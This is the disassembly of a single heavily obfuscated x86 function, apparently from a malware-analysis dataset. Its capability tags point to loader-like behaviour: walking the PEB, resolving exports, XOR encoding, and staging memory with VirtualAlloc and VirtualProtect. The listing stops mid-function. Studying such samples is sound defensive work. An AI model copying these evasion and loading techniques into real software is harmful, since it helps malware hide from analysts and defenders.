Function at 0x4022e0
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c4
mov eax, dword [0x4a92c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
mov eax, 0x4e2cfedf
sete byte [ebp - 0x85]
cmp ecx, 0xa
setl byte [ebp - 0x86]
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0x6256598f
mov ebx, 0xfb49ab20
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xfb49ab20
sete al
cmove ecx, esi
cmp dword [0x4ab3c4], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, esi
mov eax, ecx
nop word cs:[eax + eax]
cmp eax, 0xfdb3ea33
jg 0x402410
cmp eax, 0xba0ded67
jg 0x4024c0
cmp eax, 0x9a8ef3d7
jg 0x4025c2
cmp eax, 0x8eb56d8b
jle 0x4027a5
cmp eax, 0x948dfcd0
jle 0x402b0f
cmp eax, 0x95e273b2
jle 0x4030b6
cmp eax, 0x9832d89f
jg 0x403b23
cmp eax, 0x95e273b3
je 0x404970
cmp eax, 0x9660e2b3
je 0x4049a4
cmp eax, 0x97ea6b37
jne 0x402370
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
add eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, 0x16cf79b3
jmp 0x402370
cmp eax, 0x4185dbe5
jle 0x402560
cmp eax, 0x616f09a9
jg 0x402635
cmp eax, 0x5339f605
jle 0x4027f1
cmp eax, 0x5ac62a08
jle 0x402b94
cmp eax, 0x5cffe79f
jle 0x4030fa
cmp eax, 0x5fa5d443
jg 0x403b51
cmp eax, 0x5cffe7a0
je 0x4049b7
cmp eax, 0x5e9cdd70
je 0x4049c1
cmp eax, 0x5f15f9d9
jne 0x402370
mov eax, dword [ebp - 0x30]
mov ebx, 0x8d513829
mov esi, 0x87b0a01d
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x1b0], eax
mov eax, dword [0x4ab3c8]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x87b0a01d
jmp 0x406341
cmp eax, 0xd6e2add3
jle 0x40269a
cmp eax, 0xe5c950af
jle 0x4028a6
cmp eax, 0xecc2d8cd
jle 0x402be4
cmp eax, 0xf24239fa
jle 0x403159
cmp eax, 0xfb22b921
jg 0x403bd3
cmp eax, 0xf24239fb
je 0x4049d6
cmp eax, 0xf53c5a21
je 0x4049fc
cmp eax, 0xf91ef331
jne 0x402370
mov eax, dword [ebp - 0x24]
mov esi, 0x766332e6
mov dword [eax], 5
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x9660e2b3
jmp 0x405e7c
cmp eax, 0x18620748
jle 0x40273f
cmp eax, 0x2be75a99
jle 0x4028f5
cmp eax, 0x33913df2
jle 0x402c4a
cmp eax, 0x39d37d32
jle 0x403195
cmp eax, 0x3fec041e
jg 0x403c35
cmp eax, 0x39d37d33
je 0x404a2e
cmp eax, 0x3e624097
je 0x404a49
cmp eax, 0x3fde6b3e
jne 0x402370
mov eax, 0xf05b546
jmp 0x402370
cmp eax, 0xa61e07e0
jle 0x402961
cmp eax, 0xac793edb
jle 0x402cac
cmp eax, 0xb1f35d8c
jle 0x403216
cmp eax, 0xb72fb65a
jg 0x403c63
cmp eax, 0xb1f35d8d
je 0x404a88
cmp eax, 0xb54084e5
je 0x404aaf
cmp eax, 0xb6d4870e
jne 0x402370
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x78
mov dword [ebp - 0x110], eax
mov eax, 0xbb101658
jmp 0x402370
cmp eax, 0x6d47bc09
jle 0x4029ad
cmp eax, 0x775b3b04
jle 0x402d02
cmp eax, 0x7a02aa17
jle 0x403276
cmp eax, 0x7dc98708
jg 0x403c91
cmp eax, 0x7a02aa18
je 0x404ab9
cmp eax, 0x7a3d310c
je 0x404aed
cmp eax, 0x7c880254
jne 0x402370
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
mov eax, 0x129f4b28
jmp 0x402370
cmp eax, 0xc97e0d5b
jle 0x402a44
cmp eax, 0xcdfdf3b6
jle 0x402d6d
cmp eax, 0xd0c9d149
jg 0x4032ac
cmp eax, 0xcff5e116
jle 0x403cbc
cmp eax, 0xcff5e117
je 0x404b2e
cmp eax, 0xd000c4f3
je 0x404b4d
cmp eax, 0xd022da1f
jne 0x402370
mov eax, dword [ebp - 0x40]
mov esi, 0x2fbed8a0
mov ebx, 0x137c8962
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x38]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x137c8962
jmp 0x402347
cmp eax, 0xe3b8383
jg 0x402ab4
cmp eax, 0x64e0bb1
jg 0x402dd6
cmp eax, 0x367229c
jg 0x403301
cmp eax, 0x1c1abe1
jle 0x403cfd
cmp eax, 0x1c1abe2
je 0x404b66
cmp eax, 0x2c639e7
je 0x404b70
cmp eax, 0x2e141a9
jne 0x402370
mov eax, dword [ebp - 0x158]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x15c], eax
mov eax, 0x14dd898e
jmp 0x402370
cmp eax, 0x8886f360
jg 0x402e2c
cmp eax, 0x85609a90
jg 0x403353
cmp eax, 0x82a2f34d
jle 0x403d39
cmp eax, 0x82a2f34e
je 0x404b7a
cmp eax, 0x84e95958
je 0x404b84
cmp eax, 0x854cfbaf
jne 0x402370
mov eax, 0x1ec26c45
jmp 0x402370
cmp eax, 0x4be68147
jg 0x402e6d
cmp eax, 0x455bfd35
jg 0x40338c
cmp eax, 0x41de230b
jle 0x403d59
cmp eax, 0x41de230c
je 0x404bb1
cmp eax, 0x43fd5461
je 0x404bc6
cmp eax, 0x4430d0e0
jne 0x402370
mov eax, dword [ebp - 0x14]
mov esi, 0x76a013d3
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x84e95958
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov esi, dword [ebp - 0x28]
mov esi, dword [esi]
movzx eax, word [eax + esi*4]
mov word [ebp - 0xc6], ax
jmp 0x4065fe
cmp eax, 0xde8bfcc2
jg 0x402ed6
cmp eax, 0xda726ca9
jg 0x4033f2
cmp eax, 0xd73bad53
jle 0x403dbb
cmp eax, 0xd73bad54
je 0x404bdf
cmp eax, 0xd91f518e
je 0x404bf2
cmp eax, 0xd9c73fec
jne 0x402370
mov eax, dword [ebp - 0x64]
mov eax, 0x2be75a9a
jmp 0x402370
cmp eax, 0x1d663d92
jg 0x402f2e
cmp eax, 0x1bca70db
jg 0x403436
cmp eax, 0x196beb5b
jle 0x403ddb
cmp eax, 0x196beb5c
je 0x404c18
cmp eax, 0x1a11fc29
je 0x404c4a
cmp eax, 0x1bba0216
jne 0x402370
mov eax, dword [ebp - 0x6c]
mov eax, dword [0x4ab3c8]
mov ebx, 0x5f468f2
mov esi, 0x6478c530
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x6478c530
jmp 0x406341
cmp eax, 0x9e55282f
jg 0x402f99
cmp eax, 0x9ba66330
jg 0x40346c
cmp eax, 0x9b0c87cc
jle 0x403e0f
cmp eax, 0x9b0c87cd
je 0x404c79
cmp eax, 0x9b3cb107
je 0x404cce
cmp eax, 0x9b95e593
jne 0x402370
mov eax, 0x95878e50
jmp 0x402370
cmp eax, 0x66155ff5
jg 0x402fda
cmp eax, 0x62df0540
jg 0x4034b1
cmp eax, 0x622c4665
jle 0x403e6e
cmp eax, 0x622c4666
je 0x404cd8
cmp eax, 0x624f6d08
je 0x404ce2
cmp eax, 0x6256598f
jne 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0xfb49ab20
mov edi, 0x94d063f0
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
movzx eax, byte [ebp - 0x49]
cmovge ecx, esi
not al
or al, 0xfe
cmp al, 0xff
mov eax, ecx
setne byte [ebp - 0x91]
jmp 0x402370
cmp eax, 0xc4c63d20
jg 0x403034
cmp eax, 0xc05416ed
jg 0x403517
cmp eax, 0xbb101657
jle 0x403f27
cmp eax, 0xbb101658
je 0x404cfb
cmp eax, 0xbccb7a6d
je 0x404d21
cmp eax, 0xbf0f242c
jne 0x402370
mov eax, dword [ebp - 0x70]
push dword [ebp - 0x120]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x40]
mov esi, 0x1c1abe2
mov dword [ecx], eax
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
jmp 0x406546
cmp eax, 0x13854962
jg 0x403075
cmp eax, 0x1151c2d4
jg 0x403592
cmp eax, 0xed2450a
jle 0x403f71
cmp eax, 0xed2450b
je 0x404d2e
cmp eax, 0xf05b546
je 0x404d51
cmp eax, 0x10c3e47d
jne 0x402370
cmp dword [ebp - 0x1b4], 0
mov eax, 0xcbe11529
mov ecx, 0x5e9cdd70
cmove eax, ecx
jmp 0x402370
cmp eax, 0x91c1570b
jg 0x4035e4
cmp eax, 0x8f6ffeec
jle 0x403fba
cmp eax, 0x8f6ffeed
je 0x404d64
cmp eax, 0x8fd10b54
je 0x404d74
cmp eax, 0x8ff6a468
jne 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x2ce5fe46
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x7fe0f46d
cmovne esi, ebx
test edx, ecx
mov ecx, esi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x114]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x198], eax
jmp 0x406642
cmp eax, 0x56586a32
jg 0x403625
cmp eax, 0x54a0c8ad
jle 0x404014
cmp eax, 0x54a0c8ae
je 0x404d7e
cmp eax, 0x550d72a6
je 0x404db0
cmp eax, 0x55ee80a8
jne 0x402370
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x180], eax
mov eax, 0x616f09aa
jmp 0x402370
cmp eax, 0xe9e2c1a5
jg 0x40365e
cmp eax, 0xe6f82a05
jle 0x404034
cmp eax, 0xe6f82a06
je 0x404dc6
cmp eax, 0xe8be203b
je 0x404dd0
cmp eax, 0xe91370ee
jne 0x402370
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x20]
mov ebx, 0xd72ddffb
mov esi, 0x22afb183
inc eax
mov dword [ecx], eax
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x22afb183
jmp 0x404a6b
cmp eax, 0x2e4c65c4
jg 0x4036bd
cmp eax, 0x2ce5fe45
jle 0x404054
cmp eax, 0x2ce5fe46
je 0x404e03
cmp eax, 0x2d745202
je 0x404e13
cmp eax, 0x2d96e76f
jne 0x402370
mov eax, dword [ebp - 0xcc]
mov ebx, 0x9e552830
mov esi, 0x550d72a6
mov dword [eax], 1
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x550d72a6
jmp 0x404a63
cmp eax, 0xa9c190a7
jg 0x40372d
cmp eax, 0xa932c0bb
jle 0x404091
cmp eax, 0xa932c0bc
je 0x404e20
cmp eax, 0xa9488a84
je 0x404e46
cmp eax, 0xa979a162
jne 0x402370
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0x7fffffff
and ecx, eax
mov eax, 0x406c026e
mov dword [ebp - 0x1bc], ecx
jmp 0x402370
cmp eax, 0x71a35b99
jg 0x40377f
cmp eax, 0x6fcdc823
jle 0x4040b1
cmp eax, 0x6fcdc824
je 0x404e60
cmp eax, 0x702ee095
je 0x404ea5
cmp eax, 0x7158d0e9
jne 0x402370
mov eax, dword [ebp - 0x18]
mov edi, 0x79731d25
mov esi, 0x9a5f9fce
mov eax, dword [eax]
add eax, 0x50
mov dword [ebp - 0x14c], eax
mov eax, dword [0x4ab3c8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x9a5f9fce
jmp 0x405bf1
cmp eax, 0xcb56a2f5
jg 0x4037b5
cmp eax, 0xc9ee10c9
jle 0x4040da
cmp eax, 0xc9ee10ca
je 0x404edf
cmp eax, 0xc9f14165
je 0x404f05
cmp eax, 0xcb341c2b
jne 0x402370
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x48]
add ecx, dword [ebp - 0x48]
mov dword [eax], ecx
mov eax, 0x5bb78f23
jmp 0x402370
cmp eax, 0x9ea543d
jg 0x4037eb
cmp eax, 0x6748a39
jle 0x404118
cmp eax, 0x6748a3a
je 0x404f18
cmp eax, 0x79f6874
je 0x404f5d
cmp eax, 0x8c89d17
jne 0x402370
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x160]
cmp ecx, dword [eax]
mov eax, 0xe3b8384
setb byte [ebp - 0x8a]
jmp 0x402370
cmp eax, 0x8c129db2
jg 0x40384b
cmp eax, 0x892a3ef8
jle 0x40414a
cmp eax, 0x892a3ef9
je 0x404f89
cmp eax, 0x8a9ec7a3
je 0x404f9c
cmp eax, 0x8b78e173
jne 0x402370
mov eax, 0x35e034bb
jmp 0x402370
cmp eax, 0x5146a841
jg 0x4038a8
cmp eax, 0x502206cd
jle 0x404175
cmp eax, 0x502206ce
je 0x404faf
cmp eax, 0x50769b3b
je 0x404fd7
cmp eax, 0x50c947c1
jne 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x892a3ef9
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xc05416ee
jmp 0x405df2
cmp eax, 0xe1d8994c
jg 0x403944
cmp eax, 0xdf39dcd0
jle 0x4041c0
cmp eax, 0xdf39dcd1
je 0x405013
cmp eax, 0xe0e9a7c5
je 0x40501d
cmp eax, 0xe13b7920
jne 0x402370
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x144]
cmp ecx, dword [eax + 0x34]
mov eax, 0x9aa1540a
mov ecx, 0x23e17345
cmove eax, ecx
jmp 0x402370
cmp eax, 0x2437a8d1
jg 0x4039a3
cmp eax, 0x1ec26c44
jle 0x40421a
cmp eax, 0x1ec26c45
je 0x405051
cmp eax, 0x22afb183
je 0x405077
cmp eax, 0x23e17345
jne 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0x33913df3
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x9a8ef3d8
jmp 0x405e7c
cmp eax, 0xa211328c
jg 0x4039ea
cmp eax, 0xa05146e8
jle 0x40423a
cmp eax, 0xa05146e9
je 0x4050a2
cmp eax, 0xa204399b
je 0x4050ed
cmp eax, 0xa2050ddc
jne 0x402370
mov eax, 0x16cf79b3
jmp 0x402370
cmp eax, 0x697ce9c3
jg 0x403a20
cmp eax, 0x672579bb
jle 0x40425a
cmp eax, 0x672579bc
je 0x405114
cmp eax, 0x68048c5d
je 0x40511e
cmp eax, 0x68423c4b
jne 0x402370
push dword [ebp - 0xb8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x80]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x6748a3a
jmp 0x402370
cmp eax, 0xc6f6ac71
jg 0x403a73
cmp eax, 0xc5ba9f87
jle 0x404290
cmp eax, 0xc5ba9f88
je 0x405137
cmp eax, 0xc5bf61d4
je 0x405141
cmp eax, 0xc5d2a770
jne 0x402370
mov eax, 0xa204399b
jmp 0x402370
cmp eax, 0x16cf79b2
jg 0x403ad1
cmp eax, 0x15a2c4bc
jle 0x4042b0
cmp eax, 0x15a2c4bd
je 0x405194
cmp eax, 0x15e132c4
je 0x40519e
cmp eax, 0x1654afb2
jne 0x402370
mov eax, 0x61dd102a
jmp 0x402370
cmp eax, 0x94d82e06
jle 0x404302
cmp eax, 0x94d82e07
je 0x405206
cmp eax, 0x95878e50
je 0x405238
cmp eax, 0x95e11fa5
jne 0x402370
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x68]
add eax, 2
mov dword [ecx], eax
mov eax, 0xc704c3e7
jmp 0x402370
cmp eax, 0x5bb78f22
jle 0x404331
cmp eax, 0x5bb78f23
je 0x405248
cmp eax, 0x5c3bc4a4
je 0x40527c
cmp eax, 0x5c484195
jne 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0xfb22b922
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xc5ba9f88
jmp 0x4065f0
cmp eax, 0xee82c10b
jle 0x404386
cmp eax, 0xee82c10c
je 0x405286
cmp eax, 0xefff2baf
je 0x405299
cmp eax, 0xf2306fb3
jne 0x402370
mov eax, dword [ebp - 0xd0]
mov eax, 0x8cabdefb
jmp 0x402370
cmp eax, 0x37fad9b1
jle 0x4043bb
cmp eax, 0x37fad9b2
je 0x4052cc
cmp eax, 0x3925c4d7
je 0x4052e8
cmp eax, 0x394d28d8
jne 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0x41d2f53a
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x57f2b855
cmovne esi, ebx
test edx, eax
mov eax, esi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x9c]
cmovge eax, esi
add ecx, dword [ebp - 0x84]
mov dword [ebp - 0xfc], ecx
jmp 0x402370
cmp eax, 0xadf99d31
jle 0x4043f4
cmp eax, 0xadf99d32
je 0x4052f2
cmp eax, 0xafa796d0
je 0x4052fc
cmp eax, 0xb1d02cb2
jne 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0xefff2baf
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe9e2c1a6
jmp 0x405e7c
cmp eax, 0x77e5c50f
jle 0x404414
cmp eax, 0x77e5c510
je 0x405312
cmp eax, 0x792ae60e
je 0x405339
cmp eax, 0x79731d25
jne 0x402370
mov eax, 0x702ee095
jmp 0x402370
cmp eax, 0xd4ed32d6
jle 0x404434
cmp eax, 0xd4ed32d7
je 0x405352
cmp eax, 0xd66aab4e
je 0x405384
cmp eax, 0xd6c0d436
jne 0x402370
movzx eax, word [ebp - 0xc4]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, 0x69823343
jmp 0x402370
cmp eax, 0x5cca47b
jle 0x40447d
cmp eax, 0x5cca47c
je 0x4053a8
cmp eax, 0x5f468f2
je 0x4053db
cmp eax, 0x64c8c3d
jne 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0x624f6d08
mov ebx, 0x607edcf7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x607edcf7
jmp 0x402347
cmp eax, 0x8715a148
jle 0x4044a7
cmp eax, 0x8715a149
je 0x40543b
cmp eax, 0x87b0a01d
je 0x40546e
cmp eax, 0x880bf55d
jne 0x402370
mov eax, dword [ebp - 0x2c]
mov eax, 0xd4ed32d7
jmp 0x402370
cmp eax, 0x498a5d54
jle 0x4044c7
cmp eax, 0x498a5d55
je 0x40547e
cmp eax, 0x49b8ef64
je 0x4054e3
cmp eax, 0x4a2390a7
jne 0x402370
push 4
push 0x3000
push dword [ebp - 0x134]
push dword [ebp - 0xf4]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov ecx, 0x88a7b3f5
mov eax, dword [ebp - 0x60]
cmp dword [eax + 4], 0
mov eax, 0x23e17345
cmove eax, ecx
jmp 0x402370
cmp eax, 0xdc620de4
jle 0x4044e7
cmp eax, 0xdc620de5
je 0x4054ed
cmp eax, 0xde565710
je 0x40566f
cmp eax, 0xde6625be
jne 0x402370
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
mov eax, 0x6c5f223c
jmp 0x402370
cmp eax, 0x1cad4c80
jle 0x404516
cmp eax, 0x1cad4c81
je 0x405696
cmp eax, 0x1ce54c9a
je 0x4056c7
cmp eax, 0x1d52f1f3
jne 0x402370
mov eax, 0xc08065d3
jmp 0x402370
cmp eax, 0x9d54a59b
jle 0x40453f
cmp eax, 0x9d54a59c
je 0x4056d1
cmp eax, 0x9e45e353
je 0x4056f0
cmp eax, 0x9e4949ce
jne 0x402370
cmp byte [ebp - 0x88], 0
mov eax, 0xde937d8
mov ecx, 0xc9ee10ca
cmovne eax, ecx
jmp 0x402370
cmp eax, 0x631e6d01
jle 0x40455f
cmp eax, 0x631e6d02
je 0x405711
cmp eax, 0x6478c530
je 0x405763
cmp eax, 0x6509e7e3
jne 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0x6b2fdc92
mov edi, 0x15a2c4bd
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x15a2c4bd
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4ab3c4], 0xa
setl dl
cmovge eax, edi
jmp 0x405d00
cmp eax, 0xc162c037
jle 0x40457f
cmp eax, 0xc162c038
je 0x405776
cmp eax, 0xc2066378
je 0x405788
cmp eax, 0xc2ce3ed2
jne 0x402370
movzx eax, word [ebp - 0xc6]
mov ecx, dword [ebp - 0x70]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x40]
mov esi, 0xa2a88ff3
mov ebx, 0x8eb56d8c
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
cmp dword [eax], 0
mov eax, dword [0x4ab3c8]
lea ecx, [eax - 1]
setne byte [ebp - 0x8d]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x8eb56d8c
jmp 0x402347
cmp eax, 0x12b07db8
jle 0x4045a2
cmp eax, 0x12b07db9
je 0x4057c9
cmp eax, 0x137c8962
je 0x40581e
cmp eax, 0x1383b123
jne 0x402370
mov eax, dword [0x4ab3c8]
mov ebx, 0xf91ef331
mov esi, 0x9660e2b3
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x9660e2b3
jmp 0x404a6b
cmp eax, 0x92933f56
jle 0x4045d0
cmp eax, 0x92933f57
je 0x405837
cmp eax, 0x93513a6a
je 0x405890
cmp eax, 0x942c0898
jne 0x402370
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, 0xa2bf0cf7
jmp 0x402370
cmp eax, 0x57080d4c
jle 0x4045f6
cmp eax, 0x57080d4d
je 0x4058a5
cmp eax, 0x57f2b855
je 0x4058be
cmp eax, 0x5825c6bf
jne 0x402370
mov eax, dword [ebp - 0x2c]
mov eax, 0xe45af29f
jmp 0x402370
cmp eax, 0xeb9e7c54
jle 0x404616
cmp eax, 0xeb9e7c55
je 0x4058c8
cmp eax, 0xec5b0ef1
je 0x4058d2
cmp eax, 0xeca77a21
jne 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0x550d72a6
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x2d96e76f
jmp 0x406267
cmp eax, 0x3075a4fe
jle 0x404696
cmp eax, 0x3075a4ff
je 0x405997
cmp eax, 0x30e98c8b
je 0x4059a1
cmp eax, 0x330ccaa1
jne 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0xcdfdf3b7
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xa3c5174c
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x38]
jmp 0x4065fe
cmp eax, 0xaabb450a
jle 0x4046b6
cmp eax, 0xaabb450b
je 0x4059c8
cmp eax, 0xab4905d2
je 0x4059ee
cmp eax, 0xac11e6f9
jne 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0xde8bfcc3
mov ebx, 0x862d578f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x862d578f
jmp 0x402347
cmp eax, 0x75533360
jle 0x4046ec
cmp eax, 0x75533361
je 0x4059f8
cmp eax, 0x766332e6
je 0x405a0d
cmp eax, 0x76a013d3
jne 0x402370
mov eax, 0x1bca70dc
jmp 0x402370
cmp eax, 0xcbef3295
jle 0x40470c
cmp eax, 0xcbef3296
je 0x405a17
cmp eax, 0xcc2577a4
je 0x405a21
cmp eax, 0xcd44445f
jne 0x402370
mov eax, 0x5aec2250
jmp 0x402370
cmp eax, 0xbe661d4
jle 0x404735
cmp eax, 0xbe661d5
je 0x405a6c
cmp eax, 0xd988698
je 0x405a85
cmp eax, 0xde937d8
jne 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0x50769b3b
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x8a9ec7a3
jmp 0x405e7c
cmp eax, 0x8d513828
jle 0x404770
cmp eax, 0x8d513829
je 0x405aa3
cmp eax, 0x8db91051
je 0x405aad
cmp eax, 0x8e3c00a6
jne 0x402370
push dword [ebp - 0xe0]
push dword [ebp - 0x124]
push dword [ebp - 0x128]
push dword [ebp - 0x12c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, 0x15e132c4
jmp 0x402370
cmp eax, 0x5256fa19
jle 0x404790
cmp eax, 0x5256fa1a
je 0x405acc
cmp eax, 0x526d3ccd
je 0x405ad6
cmp eax, 0x52fd877c
jne 0x402370
mov eax, dword [ebp - 0x44]
mov esi, 0x37fad9b2
mov eax, dword [eax]
